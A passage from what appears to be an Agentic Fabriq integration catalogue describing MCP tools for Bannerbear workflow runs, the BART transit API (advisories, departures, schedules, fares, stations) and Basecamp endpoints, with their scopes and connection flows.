webhooks:write. bannerbear_post_workflow_runs (write) — Run a workflow. POST /workflow_runs. Start a workflow. Async — returns 202 immediately; poll GET /workflow_runs/{uid} until status is completed or failed. Steps run in order, each feeding the next. A run charges nothing itself: each step is billed as the resource it creates, so a run costs exactly what running its steps individually would. To process many rows, POST once per row — each is its own run. 202: Run queued. 403: Workflow restricted to runs from its owner's API keys. 423: Workflow is locked from API runs. POST /api/v1/bannerbear/workflow_runs. Scopes: workflows:write. bannerbear_post_workflows (write) — Create a workflow. POST /workflows. Create a workflow with its inputs and steps in one call. Every step's ref is validated against its adapter — an unknown tool slug or a template UID outside this workspace is rejected — and a step may only reference steps before it. 201: Workflow created. Trial workspaces are capped at three workflows. POST /api/v1/bannerbear/workflows. Scopes: workflows:write. ================================================================================ ## BART URL: https://www.agenticfabriq.com/integrations/bart Section: Integrated Tools BART — 15 MCP tools Provider key: bart. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bart_get_api_bsa_aspx_cmd_bsa (read) — List service advisories via GET api.bart.gov/api/bsa.aspx?cmd=bsa. Every service advisory BART is currently publishing -- delays, station closures, police activity, weather -- each with its posted time, the affected station (the literal `BART` means system-wide) and a free-text description. `orig` narrows the list to one station; omitting it returns all of them. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/bsa/bsa. Scopes: api. bart_get_api_bsa_aspx_cmd_count (read) — Count trains in service via GET api.bart.gov/api/bsa.aspx?cmd=count. The number of trains BART currently has in service system-wide, as the single field `traincount`. The cheapest liveness signal this API has: no arguments, a ~200-byte body. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/bsa/count. Scopes: api. bart_get_api_bsa_aspx_cmd_elev (read) — List elevator outages via GET api.bart.gov/api/bsa.aspx?cmd=elev. Current elevator outage advisories -- the accessibility-specific slice of the advisory feed, in the same shape as the advisory list. This is the tool to answer 'is the elevator at my station working', which the general advisory list does not reliably carry. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/bsa/elev. Scopes: api. bart_get_api_etd_aspx_cmd_etd (read) — Get real-time departures via GET api.bart.gov/api/etd.aspx?cmd=etd. Real-time estimated departures from one station: every upcoming train by destination, with minutes-to-arrival, platform, direction, train length and line colour. `orig` is REQUIRED -- measured 2026-09-22, omitting it answers 400 'Invalid orig' although BART's doc page marks it optional -- and the literal `ALL` is a valid value that returns every station in one response. `plat` and `dir` narrow to one platform or direction. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/etd/etd. Scopes: api. bart_get_api_route_aspx_cmd_routeinfo (read) — Get route detail via GET api.bart.gov/api/route.aspx?cmd=routeinfo. The configuration of one route, including its ordered list of stations -- the tool that answers 'which stations does this line serve, in what order'. `route` is REQUIRED; BART's own error names the valid values: 1-10, 11-14 and 19-20, or `all` for every route at once. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/route/routeinfo. Scopes: api. bart_get_api_route_aspx_cmd_routes (read) — List routes via GET api.bart.gov/api/route.aspx?cmd=routes. Every BART route currently in the schedule, with its name, abbreviation, line colour, route id and number. `date` asks for the routes of the schedule in force on another day. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/route/routes. Scopes: api. bart_get_api_sched_aspx_cmd_arrive (read) — Plan a trip by arrival time via GET api.bart.gov/api/sched.aspx?cmd=arrive. Trip plans ARRIVING at a destination around a given time, with every leg, its transfers and the fare table. `orig` and `dest` are both REQUIRED (measured 2026-09-22: omitting either answers 400, although BART's doc page marks both optional). `b` and `a` ask for trips before and after the time. NOTE: BART documents the `fare` and `clipper` attributes of each trip as DEPRECATED in favour of the `fares` element, which this response also carries. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/sched/arrive. Scopes: api. bart_get_api_sched_aspx_cmd_depart (read) — Plan a trip by departure time via GET api.bart.gov/api/sched.aspx?cmd=depart. Trip plans DEPARTING an origin around a given time -- the same shape as the arrival planner, anchored on when the rider leaves rather than when they must be there. `orig` and `dest` are both REQUIRED (measured 2026-09-22: omitting either answers 400, although BART's doc page marks both optional). NOTE: the `fare` and `clipper` attributes of each trip are DEPRECATED by BART in favour of the `fares` element. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/sched/depart. Scopes: api. bart_get_api_sched_aspx_cmd_fare (read) — Get a fare via GET api.bart.gov/api/sched.aspx?cmd=fare. The fare for a trip between two stations, with the full fare table -- Clipper, Clipper START, senior, youth and disabled rates -- and the Clipper discount. `orig` and `dest` are both REQUIRED (measured 2026-09-22: omitting either answers 400, although BART's doc page marks both optional). RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/sched/fare. Scopes: api. bart_get_api_sched_aspx_cmd_routesched (read) — Get a route schedule via GET api.bart.gov/api/sched.aspx?cmd=routesched. The full timetable for one route: every train, and every station it calls at with its time. `route` is REQUIRED. THIS RESPONSE IS LARGE -- measured 2026-09-22, route 1 returns ~190 KB -- so prefer the station schedule or the real-time departures unless a whole line's timetable is genuinely wanted. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/sched/routesched. Scopes: api. bart_get_api_sched_aspx_cmd_stnsched (read) — Get a station schedule via GET api.bart.gov/api/sched.aspx?cmd=stnsched. The full timetable for one station on one day: every train calling there, with its origin, destination and times. `orig` is REQUIRED. The station-sized alternative to the route schedule, and about a tenth its size. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/sched/stnsched. Scopes: api. bart_get_api_stn_aspx_cmd_stnaccess (read) — Get station access detail via GET api.bart.gov/api/stn.aspx?cmd=stnaccess. Access, parking, bicycle, locker and neighbourhood information for one station -- how a rider reaches it and what is there when they arrive. `orig` is optional, and omitting it answers 200 with an empty `stations` value rather than every station (measured 2026-09-22). RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/stn/stnaccess. Scopes: api. bart_get_api_stn_aspx_cmd_stninfo (read) — Get station detail via GET api.bart.gov/api/stn.aspx?cmd=stninfo. Detailed information for one station: address, platform layout, the destinations served from each platform, and BART's intro text. `orig` is optional, and omitting it does NOT return every station -- measured 2026-09-22, BART answers 200 with an empty `stations` value. Pass the four-character abbreviation from the station list. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/stn/stninfo. Scopes: api. bart_get_api_stn_aspx_cmd_stns (read) — List stations via GET api.bart.gov/api/stn.aspx?cmd=stns. Every BART station with its name, four-character abbreviation, latitude, longitude and street address. This is the lookup table every other tool's `orig` and `dest` argument is drawn from -- call it first when a rider names a station in words. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/stn/stns. Scopes: api. bart_get_api_version_aspx_cmd_version (read) — Get API version via GET api.bart.gov/api/version.aspx?cmd=version. The BART legacy API's own version number, copyright line and the URL of the developer licence agreement. MEASURED 2026-09-22: this is the ONE command in this integration that answers 200 with a bogus key and with no key at all, which is why the paste-time credential check points elsewhere -- a check pointed here would accept every key ever pasted. It is also the one command where a REFUSED key does not arrive as a 400: BART honours `json=y` only when it accepts the key, so an unaccepted key gets XML under a 200 instead of JSON. Agentic Fabriq detects that and reports it as the same credential failure the other commands give. RESPONSE SHAPE: BART's `json=y` is its XML transliterated, not idiomatic JSON -- the body is `{"?xml": {...}, "root": {...}}`, free text arrives wrapped as `{"#cdata-section": "..."}`, attributes are prefixed `@`, and a list with one member collapses to a bare object rather than a one-element array. GET /api/v1/bart/version/version. Scopes: api. ================================================================================ ## Basecamp URL: https://www.agenticfabriq.com/integrations/basecamp Section: Integrated Tools Basecamp — 251 MCP tools Provider key: basecamp. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. basecamp_delete_by_accountid_account_logo_json (write, destructive) — Remove the account logo. via DELETE /{accountId}/account/logo.json DELETE /api/v1/basecamp/account/logo.json. Scopes: api. basecamp_delete_by_accountid_boosts_by_boostid (write, destructive) — Delete a boost via DELETE /{accountId}/boosts/{boostId} DELETE /api/v1/basecamp/boosts/{boostId}. Scopes: api. basecamp_delete_by_accountid_buckets_by_bucketid_card_tables_columns_by_columnid_on_hold_json (write, destructive) — Disable on-hold section in a column via DELETE /{accountId}/buckets/{bucketId}/card_tables/columns/{columnId}/on_hold.json DELETE /api/v1/basecamp/buckets/{bucketId}/card_tables/columns/{columnId}/on_hold.json. Scopes: api. basecamp_delete_by_accountid_buckets_by_bucketid_card_tables_wormholes_by_wormholeid (write, destructive) — Delete a wormhole via DELETE /{accountId}/buckets/{bucketId}/card_tables/wormholes/{wormholeId} DELETE /api/v1/basecamp/buckets/{bucketId}/card_tables/wormholes/{wormholeId}. Scopes: api. basecamp_delete_by_accountid_buckets_by_bucketid_categories_by_typeid (write, destructive) — Delete a message type via DELETE /{accountId}/buckets/{bucketId}/categories/{typeId} DELETE /api/v1/basecamp/buckets/{bucketId}/categories/{typeId}. Scopes: api. basecamp_delete_by_accountid_buckets_by_bucketid_chats_by_campfireid_integrations_by_chatbotid (write, destructive) — Delete a chatbot via DELETE /{accountId}/buckets/{bucketId}/chats/{campfireId}/integrations/{chatbotId} DELETE /api/v1/basecamp/buckets/{bucketId}/chats/{campfireId}/integrations/{chatbotId}. Scopes: api. basecamp_delete_by_accountid_card_tables_lists_by_columnid_subscription_json (write, destructive) — Unsubscribe from a card column (stop watching for changes) via DELETE /{accountId}/card_tables/lists/{columnId}/subscription.json DELETE /api/v1/basecamp/card_tables/lists/{columnId}/subscription.json. Scopes: api. basecamp_delete_by_accountid_chats_by_campfireid_lines_by_lineid (write, destructive) — Delete a campfire line; allowed for the line's creator or an admin. via DELETE /{accountId}/chats/{campfireId}/lines/{lineId} DELETE /api/v1/basecamp/chats/{campfireId}/lines/{lineId}. Scopes: api. basecamp_delete_by_accountid_dock_tools_by_toolid (write, destructive) — Delete a tool (trash it) via DELETE /{accountId}/dock/tools/{toolId} DELETE /api/v1/basecamp/dock/tools/{toolId}. Scopes: api. basecamp_delete_by_accountid_gauge_needles_by_needleid (write, destructive) — Destroy a gauge needle via DELETE /{accountId}/gauge_needles/{needleId} DELETE /api/v1/basecamp/gauge_needles/{needleId}. Scopes: api. basecamp_delete_by_accountid_lineup_markers_by_markerid (write, destructive) — Delete a lineup marker via DELETE /{accountId}/lineup/markers/{markerId} DELETE /api/v1/basecamp/lineup/markers/{markerId}. Scopes: api. basecamp_delete_by_accountid_my_priorities_by_recordingid (write, destructive) — Remove a recording from Up Next (returns 204 No Content). via DELETE /{accountId}/my/priorities/{recordingId} DELETE /api/v1/basecamp/my/priorities/{recordingId}. Scopes: api. basecamp_delete_by_accountid_people_by_personid_out_of_office_json (write, destructive) — Disable out of office for a person. via DELETE /{accountId}/people/{personId}/out_of_office.json DELETE /api/v1/basecamp/people/{personId}/out_of_office.json. Scopes: api. basecamp_delete_by_accountid_projects_by_projectid (write, destructive) — Trash a project (returns 204 No Content) via DELETE /{accountId}/projects/{projectId} DELETE /api/v1/basecamp/projects/{projectId}. Scopes: api. basecamp_delete_by_accountid_questions_by_questionid_pause_json (write, destructive) — Resume a paused check-in question (resumes sending reminders) via DELETE /{accountId}/questions/{questionId}/pause.json DELETE /api/v1/basecamp/questions/{questionId}/pause.json. Scopes: api. basecamp_delete_by_accountid_recordings_by_messageid_pin_json (write, destructive) — Unpin a message from the message board via DELETE /{accountId}/recordings/{messageId}/pin.json DELETE /api/v1/basecamp/recordings/{messageId}/pin.json. Scopes: api. basecamp_delete_by_accountid_recordings_by_recordingid_bookmark_json (write, destructive) — Remove the current user's bookmark from a recording (returns 204 No Content). via DELETE /{accountId}/recordings/{recordingId}/bookmark.json DELETE /api/v1/basecamp/recordings/{recordingId}/bookmark.json. Scopes: api. basecamp_delete_by_accountid_recordings_by_recordingid_spotlight_json (write, destructive) — Remove a recording from the spotlight area. via DELETE /{accountId}/recordings/{recordingId}/spotlight.json DELETE /api/v1/basecamp/recordings/{recordingId}/spotlight.json. Scopes: api. basecamp_delete_by_accountid_recordings_by_recordingid_subscription_json (write, destructive) — Unsubscribe the current user from a recording via DELETE /{accountId}/recordings/{recordingId}/subscription.json DELETE /api/v1/basecamp/recordings/{recordingId}/subscription.json. Scopes: api. basecamp_delete_by_accountid_recordings_by_toolid_position_json (write, destructive) — Disable a tool (hide it from the project dock) via DELETE /{accountId}/recordings/{toolId}/position.json DELETE /api/v1/basecamp/recordings/{toolId}/position.json. Scopes: api. basecamp_delete_by_accountid_stacks_by_folderid (write, destructive) — Delete a folder and unpin its projects from the home screen (returns 204 No Content). via DELETE /{accountId}/stacks/{folderId} DELETE /api/v1/basecamp/stacks/{folderId}. Scopes: api. basecamp_delete_by_accountid_templates_by_templateid (write, destructive) — Delete a template (trash it) via DELETE /{accountId}/templates/{templateId} DELETE /api/v1/basecamp/templates/{templateId}. Scopes: api. basecamp_delete_by_accountid_timesheet_entries_by_entryid (write, destructive) — Permanently delete a timesheet entry; answers 403 when the caller may not archive or trash it. via DELETE /{accountId}/timesheet_entries/{entryId} DELETE /api/v1/basecamp/timesheet_entries/{entryId}. Scopes: api. basecamp_delete_by_accountid_todos_by_todoid_completion_json (write, destructive) — Mark a todo as incomplete via DELETE /{accountId}/todos/{todoId}/completion.json DELETE /api/v1/basecamp/todos/{todoId}/completion.json. Scopes: api. basecamp_delete_by_accountid_webhooks_by_webhookid (write, destructive) — Delete a webhook via DELETE /{accountId}/webhooks/{webhookId} DELETE /api/v1/basecamp/webhooks/{webhookId}. Scopes: api. basecamp_get_by_accountid_account_json (read) — Get the account for the current access token via GET /{accountId}/account.json GET /api/v1/basecamp/account.json. Scopes: api. basecamp_get_by_accountid_boosts_by_boostid (read) — Get a single boost via GET /{accountId}/boosts/{boostId} GET /api/v1/basecamp/boosts/{boostId}. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_categories_by_typeid (read) — Get a single message type by id via GET /{accountId}/buckets/{bucketId}/categories/{typeId} GET /api/v1/basecamp/buckets/{bucketId}/categories/{typeId}. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_categories_json (read) — List message types in a project **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/buckets/{bucketId}/categories.json GET /api/v1/basecamp/buckets/{bucketId}/categories.json. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_chats_by_campfireid_integrations_by_chatbotid (read) — Get a chatbot by ID via GET /{accountId}/buckets/{bucketId}/chats/{campfireId}/integrations/{chatbotId} GET /api/v1/basecamp/buckets/{bucketId}/chats/{campfireId}/integrations/{chatbotId}. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_chats_by_campfireid_integrations_json (read) — List all chatbots for a campfire **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/buckets/{bucketId}/chats/{campfireId}/integrations.json GET /api/v1/basecamp/buckets/{bucketId}/chats/{campfireId}/integrations.json. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_client_approvals_json (read) — List all client approvals in a project **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/buckets/{bucketId}/client/approvals.json GET /api/v1/basecamp/buckets/{bucketId}/client/approvals.json. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_client_correspondences_json (read) — List all client correspondences in a project **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/buckets/{bucketId}/client/correspondences.json GET /api/v1/basecamp/buckets/{bucketId}/client/correspondences.json. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_client_recordings_by_recordingid_replies_by_replyid (read) — Get a single client reply by id via GET /{accountId}/buckets/{bucketId}/client/recordings/{recordingId}/replies/{replyId} GET /api/v1/basecamp/buckets/{bucketId}/client/recordings/{recordingId}/replies/{replyId}. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_client_recordings_by_recordingid_replies_json (read) — List all client replies for a recording (correspondence or approval) **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/buckets/{bucketId}/client/recordings/{recordingId}/replies.json GET /api/v1/basecamp/buckets/{bucketId}/client/recordings/{recordingId}/replies.json. Scopes: api. basecamp_get_by_accountid_buckets_by_bucketid_webhooks_json (read) — List all webhooks for a project **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/buckets/{bucketId}/webhooks.json GET /api/v1/basecamp/buckets/{bucketId}/webhooks.json. Scopes: api. basecamp_get_by_accountid_calendars_by_calendarid (read) — Get a calendar by its bucket id. via GET /{accountId}/calendars/{calendarId} GET /api/v1/basecamp/calendars/{calendarId}. Scopes: api. basecamp_get_by_accountid_card_tables_by_cardtableid (read) — Get a card table by ID via GET /{accountId}/card_tables/{cardTableId} GET /api/v1/basecamp/card_tables/{cardTableId}. Scopes: api. basecamp_get_by_accountid_card_tables_cards_by_cardid (read) — Get a card by ID via GET /{accountId}/card_tables/cards/{cardId} GET /api/v1/basecamp/card_tables/cards/{cardId}. Scopes: api. basecamp_get_by_accountid_card_tables_columns_by_columnid (read) — Get a card column by ID via GET /{accountId}/card_tables/columns/{columnId} GET /api/v1/basecamp/card_tables/columns/{columnId}. Scopes: api. basecamp_get_by_accountid_card_tables_lists_by_columnid_cards_json (read) — List cards in a column **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/card_tables/lists/{columnId}/cards.json GET /api/v1/basecamp/card_tables/lists/{columnId}/cards.json. Scopes: api. basecamp_get_by_accountid_card_tables_steps_by_stepid (read) — Get a step by ID via GET /{accountId}/card_tables/steps/{stepId} GET /api/v1/basecamp/card_tables/steps/{stepId}. Scopes: api. basecamp_get_by_accountid_cards_completed_json (read) — Completed cards across all accessible projects, grouped by project (paginated). via GET /{accountId}/cards/completed.json GET /api/v1/basecamp/cards/completed.json. Scopes: api. basecamp_get_by_accountid_cards_no_due_date_json (read) — Open cards with no due date across all accessible projects, grouped by project (paginated). via GET /{accountId}/cards/no_due_date.json GET /api/v1/basecamp/cards/no_due_date.json. Scopes: api. basecamp_get_by_accountid_cards_not_now_json (read) — Cards parked in a project's "Not now" column across all accessible projects, grouped by project (paginated). via GET /{accountId}/cards/not_now.json GET /api/v1/basecamp/cards/not_now.json. Scopes: api. basecamp_get_by_accountid_cards_open_json (read) — Incomplete cards in active columns across all accessible projects, grouped by project (paginated). via GET /{accountId}/cards/open.json GET /api/v1/basecamp/cards/open.json. Scopes: api. basecamp_get_by_accountid_cards_overdue_json (read) — Get every overdue card across all accessible projects, oldest-due-date-first. via GET /{accountId}/cards/overdue.json GET /api/v1/basecamp/cards/overdue.json. Scopes: api. basecamp_get_by_accountid_cards_unassigned_json (read) — Open, unassigned cards across all accessible projects, grouped by project (paginated). via GET /{accountId}/cards/unassigned.json GET /api/v1/basecamp/cards/unassigned.json. Scopes: api. basecamp_get_by_accountid_chats_by_campfireid (read) — Get a campfire by ID via GET /{accountId}/chats/{campfireId} GET /api/v1/basecamp/chats/{campfireId}. Scopes: api. basecamp_get_by_accountid_chats_by_campfireid_lines_by_lineid (read) — Get a campfire line by ID via GET /{accountId}/chats/{campfireId}/lines/{lineId} GET /api/v1/basecamp/chats/{campfireId}/lines/{lineId}. Scopes: api. basecamp_get_by_accountid_chats_by_campfireid_lines_json (read) — List all lines (messages) in a campfire **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/chats/{campfireId}/lines.json GET /api/v1/basecamp/chats/{campfireId}/lines.json. Scopes: api. basecamp_get_by_accountid_chats_by_campfireid_uploads_json (read) — List uploaded files in a campfire **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/chats/{campfireId}/uploads.json GET /api/v1/basecamp/chats/{campfireId}/uploads.json. Scopes: api. basecamp_get_by_accountid_chats_json (read) — List all campfires across the account **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/chats.json GET /api/v1/basecamp/chats.json. Scopes: api. basecamp_get_by_accountid_checkins_json (read) — Get every automatic check-in answer across all accessible projects, newest-first. via GET /{accountId}/checkins.json GET /api/v1/basecamp/checkins.json. Scopes: api. basecamp_get_by_accountid_circles_people_json (read) — List all account users who can be pinged **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/circles/people.json GET /api/v1/basecamp/circles/people.json. Scopes: api. basecamp_get_by_accountid_client_approvals_by_approvalid (read) — Get a single client approval by id via GET /{accountId}/client/approvals/{approvalId} GET /api/v1/basecamp/client/approvals/{approvalId}. Scopes: api. basecamp_get_by_accountid_client_correspondences_by_correspondenceid (read) — Get a single client correspondence by id via GET /{accountId}/client/correspondences/{correspondenceId} GET /api/v1/basecamp/client/correspondences/{correspondenceId}. Scopes: api. basecamp_get_by_accountid_cloud_files_by_cloudfileid (read) — Get a single cloud file by id via GET /{accountId}/cloud_files/{cloudFileId} GET /api/v1/basecamp/cloud_files/{cloudFileId}. Scopes: api. basecamp_get_by_accountid_comments_by_commentid (read) — Get a single comment by id via GET /{accountId}/comments/{commentId} GET /api/v1/basecamp/comments/{commentId}. Scopes: api. basecamp_get_by_accountid_comments_json (read) — Get every comment across all accessible projects, newest-first (paginated). via GET /{accountId}/comments.json GET /api/v1/basecamp/comments.json. Scopes: api. basecamp_get_by_accountid_dock_tools_by_toolid (read) — Get a dock tool by id via GET /{accountId}/dock/tools/{toolId} GET /api/v1/basecamp/dock/tools/{toolId}. Scopes: api. basecamp_get_by_accountid_documents_by_documentid (read) — Get a single document by id via GET /{accountId}/documents/{documentId} GET /api/v1/basecamp/documents/{documentId}. Scopes: api. basecamp_get_by_accountid_files_json (read) — Get every file recording across all accessible projects, newest-first (paginated). via GET /{accountId}/files.json GET /api/v1/basecamp/files.json. Scopes: api. basecamp_get_by_accountid_forwards_json (read) — Get every inbox forward across all accessible projects, newest-first (paginated). via GET /{accountId}/forwards.json GET /api/v1/basecamp/forwards.json. Scopes: api. basecamp_get_by_accountid_gauge_needles_by_needleid (read) — Get a gauge needle by ID via GET /{accountId}/gauge_needles/{needleId} GET /api/v1/basecamp/gauge_needles/{needleId}. Scopes: api. basecamp_get_by_accountid_google_documents_by_googledocumentid (read) — Get a single Google document by id via GET /{accountId}/google_documents/{googleDocumentId} GET /api/v1/basecamp/google_documents/{googleDocumentId}. Scopes: api. basecamp_get_by_accountid_inbox_forwards_by_forwardid (read) — Get a forward by ID via GET /{accountId}/inbox_forwards/{forwardId} GET /api/v1/basecamp/inbox_forwards/{forwardId}. Scopes: api. basecamp_get_by_accountid_inbox_forwards_by_forwardid_replies_by_replyid (read) — Get a forward reply by ID via GET /{accountId}/inbox_forwards/{forwardId}/replies/{replyId} GET /api/v1/basecamp/inbox_forwards/{forwardId}/replies/{replyId}. Scopes: api. basecamp_get_by_accountid_inbox_forwards_by_forwardid_replies_json (read) — List all replies to a forward **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/inbox_forwards/{forwardId}/replies.json GET /api/v1/basecamp/inbox_forwards/{forwardId}/replies.json. Scopes: api. basecamp_get_by_accountid_inboxes_by_inboxid (read) — Get an inbox by ID via GET /{accountId}/inboxes/{inboxId} GET /api/v1/basecamp/inboxes/{inboxId}. Scopes: api. basecamp_get_by_accountid_inboxes_by_inboxid_inbox_forwards_json (read) — List all forwards in an inbox **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/inboxes/{inboxId}/inbox_forwards.json GET /api/v1/basecamp/inboxes/{inboxId}/inbox_forwards.json. Scopes: api. basecamp_get_by_accountid_lineup_markers_json (read) — List all lineup markers for the account via GET /{accountId}/lineup/markers.json GET /api/v1/basecamp/lineup/markers.json. Scopes: api. basecamp_get_by_accountid_message_boards_by_boardid (read) — Get a message board via GET /{accountId}/message_boards/{boardId} GET /api/v1/basecamp/message_boards/{boardId}. Scopes: api. basecamp_get_by_accountid_message_boards_by_boardid_messages_json (read) — List messages on a message board **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/message_boards/{boardId}/messages.json GET /api/v1/basecamp/message_boards/{boardId}/messages.json. Scopes: api. basecamp_get_by_accountid_messages_by_messageid (read) — Get a single message by id via GET /{accountId}/messages/{messageId} GET /api/v1/basecamp/messages/{messageId}. Scopes: api. basecamp_get_by_accountid_messages_json (read) — Get every message across all accessible projects, newest-first (paginated). via GET /{accountId}/messages.json GET /api/v1/basecamp/messages.json. Scopes: api. basecamp_get_by_accountid_my_assignments_completed_json (read) — Get the current user's completed assignments. via GET /{accountId}/my/assignments/completed.json GET /api/v1/basecamp/my/assignments/completed.json. Scopes: api. basecamp_get_by_accountid_my_assignments_due_json (read) — Get the current user's assignments filtered by due date scope. via GET /{accountId}/my/assignments/due.json GET /api/v1/basecamp/my/assignments/due.json. Scopes: api. basecamp_get_by_accountid_my_assignments_json (read) — Get the current user's active assignments grouped into priorities and non_priorities. via GET /{accountId}/my/assignments.json GET /api/v1/basecamp/my/assignments.json. Scopes: api. basecamp_get_by_accountid_my_bookmarks_json (read) — List the current user's bookmarks, most recently bookmarked first (paginated). via GET /{accountId}/my/bookmarks.json GET /api/v1/basecamp/my/bookmarks.json. Scopes: api. basecamp_get_by_accountid_my_drafts_json (read) — List the current user's drafts across their active projects, most recently updated first (paginated, capped at 250 like /my/assignments). via GET /{accountId}/my/drafts.json GET /api/v1/basecamp/my/drafts.json. Scopes: api. basecamp_get_by_accountid_my_notes_json (read) — Get the authenticated user's note — a per-person notebook singleton at /my/notes.json. via GET /{accountId}/my/notes.json GET /api/v1/basecamp/my/notes.json. Scopes: api. basecamp_get_by_accountid_my_preferences_json (read) — Get the current user's preferences via GET /{accountId}/my/preferences.json GET /api/v1/basecamp/my/preferences.json. Scopes: api. basecamp_get_by_accountid_my_profile_json (read) — Get the current authenticated user's profile via GET /{accountId}/my/profile.json GET /api/v1/basecamp/my/profile.json. Scopes: api. basecamp_get_by_accountid_my_question_reminders_json (read) — Get pending check-in reminders for the current user Returns questions that are pending a response from the authenticated user. via GET /{accountId}/my/question_reminders.json GET /api/v1/basecamp/my/question_reminders.json. Scopes: api. basecamp_get_by_accountid_my_readings_bubble_ups_json (read) — Get the current user's current and scheduled bubble-ups (paginated, 50 per page). via GET /{accountId}/my/readings/bubble_ups.json GET /api/v1/basecamp/my/readings/bubble_ups.json. Scopes: api. basecamp_get_by_accountid_my_readings_json (read) — Get the current user's notification inbox (the "Hey!" menu). via GET /{accountId}/my/readings.json GET /api/v1/basecamp/my/readings.json. 